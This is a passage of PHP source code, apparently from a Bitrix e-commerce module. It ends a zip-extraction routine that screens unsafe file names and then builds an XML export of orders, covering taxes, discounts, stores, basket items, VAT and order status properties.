$hZip = zip_open($file_name);
if(!$hZip)
return false;
//Skip from last step
if($last_zip_entry)
{
while($entry = zip_read($hZip))
if(zip_entry_name($entry) == $last_zip_entry)
break;
}
$io = CBXVirtualIo::GetInstance();
//Continue unzip
while($entry = zip_read($hZip))
{
$entry_name = zip_entry_name($entry);
//Check for directory
zip_entry_open($hZip, $entry);
if(zip_entry_filesize($entry))
{
$file_name = trim(str_replace("\\", "/", trim($entry_name)), "/");
$file_name = $APPLICATION->ConvertCharset($file_name, "cp866", LANG_CHARSET);
$bBadFile = HasScriptExtension($file_name)
|| IsFileUnsafe($file_name)
|| !$io->ValidatePathString("/".$file_name)
;
if(!$bBadFile)
{
$file_name = $io->GetPhysicalName($dir_name.rel2abs("/", $file_name));
CheckDirPath($file_name);
$fout = fopen($file_name, "wb");
if(!$fout)
return false;
while($data = zip_entry_read($entry, 102400))
{
$data_len = function_exists('mb_strlen') ? mb_strlen($data, 'latin1') : strlen($data);
$result = fwrite($fout, $data);
if($result !== $data_len)
return false;
}
}
}
zip_entry_close($entry);
//Jump to next step
if($interval > 0 && (time()-$start_time) > ($interval))
{
zip_close($hZip);
return $entry_name;
}
}
zip_close($hZip);
return true;
}
static function getOrderTax($orderId)
{
$arResult = array();
if($orderId>0)
{
$dbOrderTax = CSaleOrderTax::GetList(
array(),
array("ORDER_ID" => $orderId),
false,
false,
array("ID", "TAX_NAME", "VALUE", "VALUE_MONEY", "CODE", "IS_IN_PRICE")
);
while ($arOrderTax = $dbOrderTax->Fetch())
{
$arResult[] = $arOrderTax;
}
}
return $arResult;
}
static function getOrderSumTaxMoney($arOrderTaxAll)
{
$orderTax = 0;
if(is_array($arOrderTaxAll) && count($arOrderTaxAll)>0)
{
foreach ($arOrderTaxAll as $arOrderTax )
{
$arOrderTax["VALUE_MONEY"] = roundEx($arOrderTax["VALUE_MONEY"], 2);
$orderTax += $arOrderTax["VALUE_MONEY"];
}
}
return $orderTax;
}
static function getXmlOrderTax($arOrderTaxAll)
{
$strResult = "";
if(is_array($arOrderTaxAll) && count($arOrderTaxAll)>0)
{
$orderTax = 0;
$strResult .= "<".CSaleExport::getTagName("SALE_EXPORT_TAXES").">";
foreach ($arOrderTaxAll as $arOrderTax )
{
$arOrderTax["VALUE_MONEY"] = roundEx($arOrderTax["VALUE_MONEY"], 2);
$orderTax += $arOrderTax["VALUE_MONEY"];
$strResult .= "<".CSaleExport::getTagName("SALE_EXPORT_TAX").">".
"<".CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME").">".htmlspecialcharsbx($arOrderTax["TAX_NAME"])."</".CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME").">".
"<".CSaleExport::getTagName("SALE_EXPORT_IN_PRICE").">".(($arOrderTax["IS_IN_PRICE"]=="Y") ? "true" : "false")."</".CSaleExport::getTagName("SALE_EXPORT_IN_PRICE").">".
"<".CSaleExport::getTagName("SALE_EXPORT_AMOUNT").">".$arOrderTax["VALUE_MONEY"]."</".CSaleExport::getTagName("SALE_EXPORT_AMOUNT").">".
"</".CSaleExport::getTagName("SALE_EXPORT_TAX").">";
}
$strResult .= "</".CSaleExport::getTagName("SALE_EXPORT_TAXES").">";
}
return $strResult;
}
static function getXmlOrderDiscount($arOrder)
{
$strResult='';
if(DoubleVal($arOrder["DISCOUNT_VALUE"]) > 0)
{
$strResult = "<".CSaleExport::getTagName("SALE_EXPORT_DISCOUNTS").">
<".CSaleExport::getTagName("SALE_EXPORT_DISCOUNT").">
<".CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME").">".CSaleExport::getTagName("SALE_EXPORT_ORDER_DISCOUNT")."</".CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME").">
<".CSaleExport::getTagName("SALE_EXPORT_AMOUNT").">".$arOrder["DISCOUNT_VALUE"]."</".CSaleExport::getTagName("SALE_EXPORT_AMOUNT").">
<".CSaleExport::getTagName("SALE_EXPORT_IN_PRICE").">false</".CSaleExport::getTagName("SALE_EXPORT_IN_PRICE").">
</".CSaleExport::getTagName("SALE_EXPORT_DISCOUNT").">
</".CSaleExport::getTagName("SALE_EXPORT_DISCOUNTS").">";
}
return $strResult;
}
static function getShipmentsStoreList(Bitrix\Sale\Order $order)
{
$result = array();
$shipmentCollection = $order->getShipmentCollection();
if($shipmentCollection->count()>0)
{
/** @var \Bitrix\Sale\Shipment $shipment */
foreach($shipmentCollection as $shipment)
{
if ($shipment->isSystem())
continue;
$storeId = $shipment->getStoreId();
if($storeId>0)
$result[$shipment->getId()] = $storeId;
}
}
return $result;
}
static function getXmlSaleStore($arShipmentStore, $arStore)
{
$bufer = '';
if(count($arShipmentStore)>0)
{
ob_start();
foreach($arShipmentStore as $shipmentStoreId)
{
if(IntVal($shipmentStoreId) > 0 && !empty($arStore[$shipmentStoreId]))
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_STORY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=$arStore[$shipmentStoreId]["XML_ID"]?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=htmlspecialcharsbx($arStore[$shipmentStoreId]["TITLE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")?>><?=htmlspecialcharsbx($arStore[$shipmentStoreId]["ADDRESS"])?></<?=CSaleExport::getTagName("SALE_EXPORT_PRESENTATION")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=CSaleExport::getTagName("SALE_EXPORT_STREET")?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arStore[$shipmentStoreId]["ADDRESS"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS_FIELD")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_ADDRESS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTACTS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CONTACT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>><?=(self::getVersionSchema() > self::DEFAULT_VERSION ? CSaleExport::getTagName("SALE_EXPORT_WORK_PHONE_NEW") : CSaleExport::getTagName("SALE_EXPORT_WORK_PHONE"))?></<?=CSaleExport::getTagName("SALE_EXPORT_TYPE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arStore[$shipmentStoreId]["PHONE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTACT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_CONTACTS")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_STORY")?>>
<?
}
}
$bufer = ob_get_clean();
}
if(strlen($bufer)>0)
$bufer = "<".CSaleExport::getTagName("SALE_EXPORT_STORIES").">".$bufer."</".CSaleExport::getTagName("SALE_EXPORT_STORIES").">";
return $bufer;
}
function getXmlSaleStoreBasket($arOrder,$arStore)
{
ob_start();
$storeBasket = "
<".CSaleExport::getTagName("SALE_EXPORT_STORIES").">
<".CSaleExport::getTagName("SALE_EXPORT_STORY").">
<".CSaleExport::getTagName("SALE_EXPORT_ID").">".$arStore[$arOrder["STORE_ID"]]["XML_ID"]."</".CSaleExport::getTagName("SALE_EXPORT_ID").">
<".CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME").">".htmlspecialcharsbx($arStore[$arOrder["STORE_ID"]]["TITLE"])."</".CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME").">
</".CSaleExport::getTagName("SALE_EXPORT_STORY").">
</".CSaleExport::getTagName("SALE_EXPORT_STORIES").">
";
//$bufer = ob_get_clean();
ob_get_clean();
return $storeBasket;
}
/**
* @param string $code
* @return string
*/
public static function normalizeExternalCode($code)
{
$xml_id = $code;
list($productXmlId, $offerXmlId) = explode("#", $xml_id, 2);
if ($productXmlId === $offerXmlId)
$xml_id = $productXmlId;
return $xml_id;
}
protected static function outputXmlUnit($arBasket)
{
if(self::getVersionSchema() > self::DEFAULT_VERSION)
{
if(IntVal($arBasket["MEASURE_CODE"]) <= 0)
$arBasket["MEASURE_CODE"] = 796;
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_UNIT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>><?=$arBasket["MEASURE_CODE"]?></<?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>><?=htmlspecialcharsbx(self::$measures[$arBasket["MEASURE_CODE"]]['MEASURE_TITLE'])?></<?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_UNIT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_KOEF")?>>1</<?=CSaleExport::getTagName("SALE_EXPORT_KOEF")?>>
<?
}
else
{
if($arBasket["MEASURE_CODE"] == 796)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_BASE_UNIT")?> <?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>="796" <?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>="<?=CSaleExport::getTagName("SALE_EXPORT_SHTUKA")?>" <?=CSaleExport::getTagName("SALE_EXPORT_INTERNATIONAL_ABR")?>="<?=CSaleExport::getTagName("SALE_EXPORT_RCE")?>"><?=CSaleExport::getTagName("SALE_EXPORT_SHT")?></<?=CSaleExport::getTagName("SALE_EXPORT_BASE_UNIT")?>>
<?
}
else
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_BASE_UNIT")?> <?=CSaleExport::getTagName("SALE_EXPORT_CODE")?>="<?=$arBasket["MEASURE_CODE"]?>" <?=CSaleExport::getTagName("SALE_EXPORT_FULL_NAME_UNIT")?>="<?=htmlspecialcharsbx(self::$measures[$arBasket["MEASURE_CODE"]]['MEASURE_TITLE'])?>" <?=CSaleExport::getTagName("SALE_EXPORT_INTERNATIONAL_ABR")?>="<?=self::$measures[$arBasket["MEASURE_CODE"]]["SYMBOL_LETTER_INTL"]?>"><?=self::$measures[$arBasket["MEASURE_CODE"]]["SYMBOL_RUS"]?></<?=CSaleExport::getTagName("SALE_EXPORT_BASE_UNIT")?>>
<?
}
}
}
static function getXmlBasketItems($type, $arOrder, $arFilter, $arSelect=array(), $arShipment=array())
{
$result = array();
ob_start();
?><<?=CSaleExport::getTagName("SALE_EXPORT_ITEMS")?>><?
$select = array("ID", "NOTES", "PRODUCT_XML_ID", "CATALOG_XML_ID", "NAME", "PRICE", "QUANTITY", "DISCOUNT_PRICE", "VAT_RATE", "MEASURE_CODE", "SET_PARENT_ID", "TYPE");
if(count($arSelect)>0)
$select = array_merge($arSelect,$select);
$dbBasket = \Bitrix\Sale\Internals\BasketTable::getList(array(
'select' => $select,
'filter' => $arFilter,
'order' => array("NAME" => "ASC")
));
$basketSum = 0;
$priceType = "";
$bVat = false;
$vatRate = 0;
$vatSum = 0;
while ($arBasket = $dbBasket->fetch())
{
if(strval($arBasket['TYPE'])!='' && $arBasket['TYPE']== \Bitrix\Sale\BasketItem::TYPE_SET)
continue;
$result[] = $arBasket;
if(strlen($priceType) <= 0)
$priceType = $arBasket["NOTES"];
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>><?=htmlspecialcharsbx(static::normalizeExternalCode($arBasket["PRODUCT_XML_ID"]))?></<?=CSaleExport::getTagName("SALE_EXPORT_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_CATALOG_ID")?>><?=htmlspecialcharsbx($arBasket["CATALOG_XML_ID"])?></<?=CSaleExport::getTagName("SALE_EXPORT_CATALOG_ID")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=htmlspecialcharsbx($arBasket["NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<?
static::outputXmlUnit($arBasket);
if(DoubleVal($arBasket["DISCOUNT_PRICE"]) > 0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_DISCOUNTS")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_DISCOUNT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM_DISCOUNT")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$arBasket["DISCOUNT_PRICE"]?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_IN_PRICE")?>>true</<?=CSaleExport::getTagName("SALE_EXPORT_IN_PRICE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_DISCOUNT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_DISCOUNTS")?>>
<?
}
?>
<?if(self::getVersionSchema() >= self::PARTIAL_VERSION && $type == 'Shipment')
{?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PRICE_PER_ITEM")?>><?=$arBasket["PRICE"]?></<?=CSaleExport::getTagName("SALE_EXPORT_PRICE_PER_ITEM")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_QUANTITY")?>><?=$arBasket["SALE_INTERNALS_BASKET_SHIPMENT_ITEM_QUANTITY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_QUANTITY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$arBasket["PRICE"]*$arBasket["SALE_INTERNALS_BASKET_SHIPMENT_ITEM_QUANTITY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<?}
else{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PRICE_PER_ITEM")?>><?=$arBasket["PRICE"]?></<?=CSaleExport::getTagName("SALE_EXPORT_PRICE_PER_ITEM")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_QUANTITY")?>><?=$arBasket["QUANTITY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_QUANTITY")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=$arBasket["PRICE"]*$arBasket["QUANTITY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
<?}?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_TYPE_NOMENKLATURA")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM")?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_TYPE_OF_NOMENKLATURA")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=CSaleExport::getTagName("SALE_EXPORT_ITEM")?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
$number = self::getNumberBasketPosition($arBasket["ID"]);
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_BASKET_NUMBER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$number?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
$dbProp = CSaleBasket::GetPropsList(Array("SORT" => "ASC", "ID" => "ASC"), Array("BASKET_ID" => $arBasket["ID"]), false, false, array("NAME", "SORT", "VALUE", "CODE"));
while($arPropBasket = $dbProp->Fetch())
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE_BASKET")?>#<?=($arPropBasket["CODE"] != "" ? $arPropBasket["CODE"]:htmlspecialcharsbx($arPropBasket["NAME"]))?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arPropBasket["VALUE"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>>
<?if(DoubleVal($arBasket["VAT_RATE"]) > 0)
{
$bVat = true;
$vatRate = DoubleVal($arBasket["VAT_RATE"]);
$basketVatSum = (($arBasket["PRICE"] / ($arBasket["VAT_RATE"]+1)) * $arBasket["VAT_RATE"]);
$vatSum += roundEx($basketVatSum * $arBasket["QUANTITY"], 2);
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_VAT")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_RATE")?>><?=$arBasket["VAT_RATE"] * 100?></<?=CSaleExport::getTagName("SALE_EXPORT_RATE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAX_RATES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAXES")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_TAX")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_VAT")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_IN_PRICE")?>>true</<?=CSaleExport::getTagName("SALE_EXPORT_IN_PRICE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>><?=roundEx($basketVatSum, 2)?></<?=CSaleExport::getTagName("SALE_EXPORT_AMOUNT")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAX")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_TAXES")?>>
<?
}
?>
<?//=self::getXmlSaleStoreBasket($arOrder,$arStore)?>
</<?=CSaleExport::getTagName("SALE_EXPORT_ITEM")?>>
<?
$basketSum += $arBasket["PRICE"]*$arBasket["QUANTITY"];
}
if(self::getVersionSchema() >= self::PARTIAL_VERSION)
{
if(count($arShipment)>0)
{
foreach($arShipment as $shipment)
{
self::getOrderDeliveryItem($shipment, $bVat, $vatRate, $vatSum);
}
}
}
else
self::getOrderDeliveryItem($arOrder, $bVat, $vatRate, $vatSum);
?>
</<?=CSaleExport::getTagName("SALE_EXPORT_ITEMS")?>><?
$bufer = ob_get_clean();
return array('outputXML'=>$bufer,'result'=>$result);
}
static function getXmlSaleProperties($arOrder, $arShipment, $arPayment, $agent, $agentParams, $bExportFromCrm)
{
ob_start();
$arShipment = $arShipment[0];
$arPayment = $arPayment[0];
?><<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTIES_VALUES")?>><?
if(strlen($arOrder["DATE_PAYED"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_PAID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$arOrder["DATE_PAYED"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
if(self::getVersionSchema() < self::PARTIAL_VERSION || $bExportFromCrm) // #version# < 2.10 ? || $bExportFromCrm
{
if(strlen($arPayment["PAY_VOUCHER_NUM"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_NUMBER")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arPayment["PAY_VOUCHER_NUM"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
if(strlen($arShipment["DATE_ALLOW_DELIVERY"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_ALLOW_DELIVERY")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$arShipment["DATE_ALLOW_DELIVERY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
}
else
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DATE_ALLOW_DELIVERY_LAST")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=$arOrder["DATE_ALLOW_DELIVERY"]?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>><?
}
if(strlen($arShipment["DELIVERY_ID"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_DELIVERY_SERVICE")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arShipment["DELIVERY_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_DELIVERY_ID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arShipment["DELIVERY_ID"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
if(IntVal($arPayment["PAY_SYSTEM_ID"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_PAY_SYSTEM")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arPayment["PAY_SYSTEM_NAME"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_PAY_SYSTEM_ID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arPayment["PAY_SYSTEM_ID"])?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
}
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_ORDER_PAID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($arOrder["PAYED"]=="Y")?"true":"false";?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?
if(self::getVersionSchema() < self::PARTIAL_VERSION || $bExportFromCrm)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_ALLOW_DELIVERY")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($arShipment["ALLOW_DELIVERY"]=="Y")?"true":"false";?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>><?
}
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_CANCELED")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($arOrder["CANCELED"]=="Y")?"true":"false";?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_FINAL_STATUS")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=($arOrder["STATUS_ID"]=="F")?"true":"false";?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=CSaleExport::getTagName("SALE_EXPORT_ORDER_STATUS")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?$arStatus = CSaleStatus::GetLangByID($arOrder["STATUS_ID"]); echo htmlspecialcharsbx("[".$arOrder["STATUS_ID"]."] ".$arStatus["NAME"]);?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>><?=GetMessage("SALE_EXPORT_ORDER_STATUS_ID")?></<?=CSaleExport::getTagName("SALE_EXPORT_ITEM_NAME")?>>
<<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>><?=htmlspecialcharsbx($arOrder["STATUS_ID"]);?></<?=CSaleExport::getTagName("SALE_EXPORT_VALUE")?>>
</<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
<?if(strlen($arOrder["DATE_CANCELED"])>0)
{
?>
<<?=CSaleExport::getTagName("SALE_EXPORT_PROPERTY_VALUE")?>>
